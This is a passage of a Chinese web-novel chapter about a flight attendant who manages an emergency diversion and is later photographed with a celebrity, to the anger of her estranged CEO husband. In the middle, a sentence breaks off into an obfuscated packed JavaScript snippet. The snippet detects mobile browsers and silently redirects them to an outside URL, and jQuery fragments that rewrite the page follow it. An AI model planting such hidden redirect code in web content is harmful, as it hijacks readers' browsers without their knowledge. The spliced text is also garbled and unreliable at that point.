“备降?”
头等舱里有人站起来。2D座的中年男人膝盖撞在小桌板上,矿泉水瓶滚到过道里,骨碌碌滚出去老远。他顾不上捡,一张脸涨得通红,手指头快戳到宋茉脸上。
“我赶着去港城签合同,几百万的单子!你们说备降就备降?耽误了我的生意,你一个乘务员赔得起吗?”
他越说越大声,唾沫星子喷出来,旁边的旅客有人皱眉,有人低头假装没看见,也有人小声嘀咕“这得耽误多久”。
宋茉站在原地没动。她的手还搭在氧气面罩上,等那男人把话说完,才开口:“先生,您先坐下,系好安全带,飞机马上就要下降了。”
语气很平,没什么起伏,却莫名让人没法再嚷嚷。
陆泽禹跟着劝说,一只手摊平,态度很客气:“先生,消消气。人命关天,谁都不愿意碰上这种事,但既然遇上了,大家多体谅。航班备降之后航司肯定有安排,不会白耽误大家行程。”
他顿了顿,语气又软了几分,带着商量的口吻:“几百万的单子确实要紧,可那边要是知道您为了一单生意眼睁睁看着一条命没了,这合作也未必能长久,您说呢?”
陆泽禹说这话的时候一直看着对方,目光很坦诚。
男人梗着脖子还想说什么,喉结动了几下,到底没出声。
机舱里嗡嗡的议论声渐渐低下去。有人点头,有人小声说也是这个理。其余空乘趁机安抚周围的旅客,提醒大家系好安全带。
男人左右看看,脸上挂不住,正要坐下,嘴上仍嘟囔着:“我倒要看看航司怎么赔偿我的单子。”——
“几百万?”
声音从宋茉身后飘过来,懒洋洋的,像随口一说,却让整个头等舱瞬间安静下来。
“几百万,”那人肆意放笑,语气里带着点困惑,“也叫生意?”
所有人转过头,寻向声音所去。
祝州成还是那个姿势——靠在座椅里,他没看任何人,垂着眼,右手自然叠在颌骨下缘,仿佛刚才那句话只是随口一说,跟他没什么关系。
可那股从身上透出来的优越感,让人忍不住多看几眼。
中年男人的脸色精彩极了——先是红,再是青,最后发白。他嘴唇动了动,想反驳,可刚对上祝州成漫不经心扫过来的那一眼,所有的话都卡在嗓子眼里。
那一眼真的只是随便一扫,从他脸上滑过去,像看一件不值一提的东西,连停都懒得停。
他坐下了。
坐下之后才发现腿软,膝盖磕在扶手上也没敢吭声,低着头盯着自己那双皮鞋,一声不吭。
祝州成收回目光,视线微移。
看向了宋茉。
见宋茉蹲在那个病人旁边,低头调氧气面罩,侧脸绷得很紧,额角沁出一层薄汗,在舷窗透进来的阳光里亮晶晶的。
平时装得温温吞吞的,说话轻声细语,像没什么脾气。
可这会儿她周身像罩了一层什么东西,专注得有点冷,每个动作都干脆利落,没有半点多余,甚至连刚才的言语都没能引来她的注意。
祝州成眯了眯眼。
不知道哪个才是真的她。
宋茉确实没注意他。
她所有的注意力都在曹琳身上。
正巧门帘掀动,是郭楠。
宋茉头也不抬,“机长那边怎么说?”
“批复了!建城机场同意备降,现在开始下降,二十分钟后落地!地面救护车已经出发了,会在停机位等着!”
郭楠从驾驶舱跑回来,气喘吁吁。
宋茉点点头,手指搭在曹琳手腕上又测了一次脉搏,依旧微弱。
她轻轻呼出一口气,抬头看向窗外——云层逐渐掠过机身,阳光从云缝里斜斜地射进来,照得机翼亮晃晃的。
“去放广播通知,进行落地前的安检。”
“好。”
二十分钟后,飞机落地。
舱门打开的时候,救护车已经停在舷梯旁边,白色的车身在阳光下反着光,急救灯无声地转着。医护人员冲上来,动作娴熟专业。
宋茉根据她丈夫的说辞,跟在旁边交代病情——发病时间、症状、处理措施、用药情况,一字一句说得清清楚楚。
曹琳被抬上担架时,她那个一直傻愣着的丈夫终于回过神来,“扑通”就跪下了,额头抵着地板,浑身发抖。
“恩人……恩人……”他只会翻来覆去说这两个字,嗓子哑得不成样子。
宋茉吓了一跳,连忙蹲下去扶他:“您快起来,别这样。这是我们机组应该做的。”
她说着,转头看向担架上的曹琳——氧气面罩遮住了大半张脸,脸色却开始好转,在医生的抢救中,逐渐恢复意识。
宋茉弯了弯嘴角,冲她点点头。然后站起来,退后一步,让出通道,看着担架被抬下舷梯,送进救护车,车门“砰”一声关上,白色的车驶离跑道,越走越远。
直到那辆白色彻底变成一个点,她才转身往回走。
旅客们被地勤往贵宾厅带,宋茉站在舱门口,看着人流从身边过,偶尔说一句“抱歉给您添麻烦了”或者“地勤会安排好”。
那个闹事的中年男人经过她身边时,脚步顿了顿,嘴唇动了动,像想说什么,宋茉以为他又要投诉,已经准备好应对的话,却见他低下头,匆匆走了。
她愣了一下,并未在意,返回客舱引导旅客下机等候。
祝州成还坐在原位,没动。
周围的人都走光了,空乘在整理客舱,只有他一个人靠在座椅里,阳光从舷窗斜斜地照进来,落在他身上,照得那张脸一半亮一半暗。
他闭着眼,像睡着了。
直到其他人都已下机,宋茉才不得不上去礼貌提醒:“麻烦您去贵宾厅等待起飞通知。”
长睫拂动,祝州成睨了她一眼:“你并不是每次都会这么幸运。”
言下之意,将备降的选择揽在自己身上,保不准会惹出什么麻烦。
*
三个小时后,旅客重新登机,飞机再次起飞。
一路平稳。
抵达港城时已经傍晚。
夕阳把整座城市染成橙红色,从舷窗望出去,高楼大厦的玻璃幕墙都镀了一层金边。
宋茉站在舱门口送客,脸上带着标准的微笑,轻声说“再见,慢走”。
旅客鱼贯而出,有人冲她点头,有人说了句“辛苦了”,她一一回应,笑容分毫不差。
祝州成走过来时,她正准备说“再见”,他却没给她开口的机会。
他目不斜视地从她身边走过去,擦肩时连余光都没分给她一点,宽大的身躯从她身边一晃而过,带着一股清冽的气息,转瞬即逝。
宋茉扁扁嘴,那句“再见”顺理成章地落到了下一位离机乘客的身上。
机组车等在航站楼外。
宋茉最后一个走出来,夕阳已经沉到楼群后面,天边还剩一抹残虹,夜风迎面扑来,带着南方城市特有的潮气,吹得她额角的碎发晃了晃。
宋茉深吸一口气,觉得绷了十来个小时的神经终于可以松一松。
“宋乘务长。”
有人在旁边轻声唤她。
宋茉转头,看见陆泽禹戴着墨镜口罩站在几米外,正冲她笑。
他走过来,指了指不远处的机组车,“参加品牌活动,我住的酒店跟你们是同一家,方便搭个便车吗?”
宋茉愣了一下:“我问下机长。”
她的回答依旧非常公式化,在陆泽宇的意料之中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328905|199142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又在情理之外。
得到机长应允后,两人并肩往机组车走。
陆泽禹走在她旁边,距离不远不近,既不显得生分,也不会让人不舒服。他随口聊着刚才的飞行,语气很放松,像认识挺久的朋友。
“你们这行,常碰上这种事吗?”
“不算常,但培训的时候都练过。”
“那你今天是实战演练了。”陆泽禹笑了笑,“不过我看你挺淡定,不像头一回。”
“还好。”
“行李很重吧,我来帮你拿?”
——“不用。”
宋茉拒绝的时候,陆泽禹的绅士手已经压在了她的行李箱拉杆处,幸好她躲得快,没欠上人情。
陆泽禹尴尬笑笑,只能摆手,两人一前一后上了车。
他们不知道的是,几十米外的航站楼拐角,一架长焦镜头正对着他们。快门无声地按动,把这一幕定格成照片。
几乎是同一时间,一辆黑色商务车正驶离机场。
车里,祝州成靠在座椅上,漫无目的地望向窗外,窗外的夕阳从他脸上缓缓滑过,压出深浅不一的痕迹。照不出任何表情。
副驾驶上,裴哲整理好港城分公司的运营数据,转过头来:
“祝总,港城这边几家子公司的季度数据我整理好了,您过目一下。”
他说着,把iPad递过去。指尖刚触到屏幕,页面突然弹出一条微博热点推送——光线刺眼,标题赫然在目:
#陆泽禹与神秘空姐同行#
裴哲一愣,下意识要关,手忙脚乱间反而点进了详情。
高清大图铺满屏幕。
暮色里,身穿乘务制服的女人身姿笔直,侧脸柔和,嘴角噙着一点笑意。身旁的陆泽禹微微俯身朝向她的腰际,姿态自然,落在镜头里却怎么看都透着几分暧昧。
裴哲脑子嗡了一下。
他根本没注意那条热搜写的什么“神秘空姐”,第一反应是赶紧退出去给老板看数据。
“抱歉祝总,弹窗误触,我马上——”
“等等。”
祝州成眸色微漾,目光落在屏幕上。
他没接iPad,只是就那么看着。
画面里的女人,侧脸柔和,眉眼松弛,带着几分卸下疲惫后的温软,高清大图里宋茉手上的婚戒清晰可见,现在看起来卓为讽刺。
裴哲举着iPad的手悬在半空,不知道该收还是该继续举着。
“祝总,怎么了?……”
“宋茉。”
祝州成的声音很淡,像在说一件与自己无关的事。
裴哲一愣,下意识又看了眼屏幕。
照片里那女人的侧脸他当然认得,可刚才那条热搜写的是“神秘空姐”
——他还以为只是长得像。
祝州成歪着脑袋,呵了一声。
那个女人飞机上对他视若无睹,转头对着别人倒是笑得挺好。
冷冷道:“把照片发一份给律师。”
裴哲应了一声,心里犯嘀咕。
老板这语气听着不像生气,但表情远比生气还要严重。
五年婚姻,不吵不闹,不沾不抢,装的无欲无求,安分守己得像个透明人。
原来只是没到时候。
“还没离婚,”祝州成开口,声音不轻不重,“这么快就找好下家了。”
裴哲一愣,没敢接话。
祝州成调整了一下坐姿,整个人陷进了座里,手肘抵着扶手,十指交错着直直伫在胸前。
他嘴角动了动,扯出一点弧度,眼中留下一道银色锋芒,声音依旧辨不出喜怒:
“挺好。”
裴哲吓得一激灵,老板这个眼神……每次都在收割别人公司的时候出现。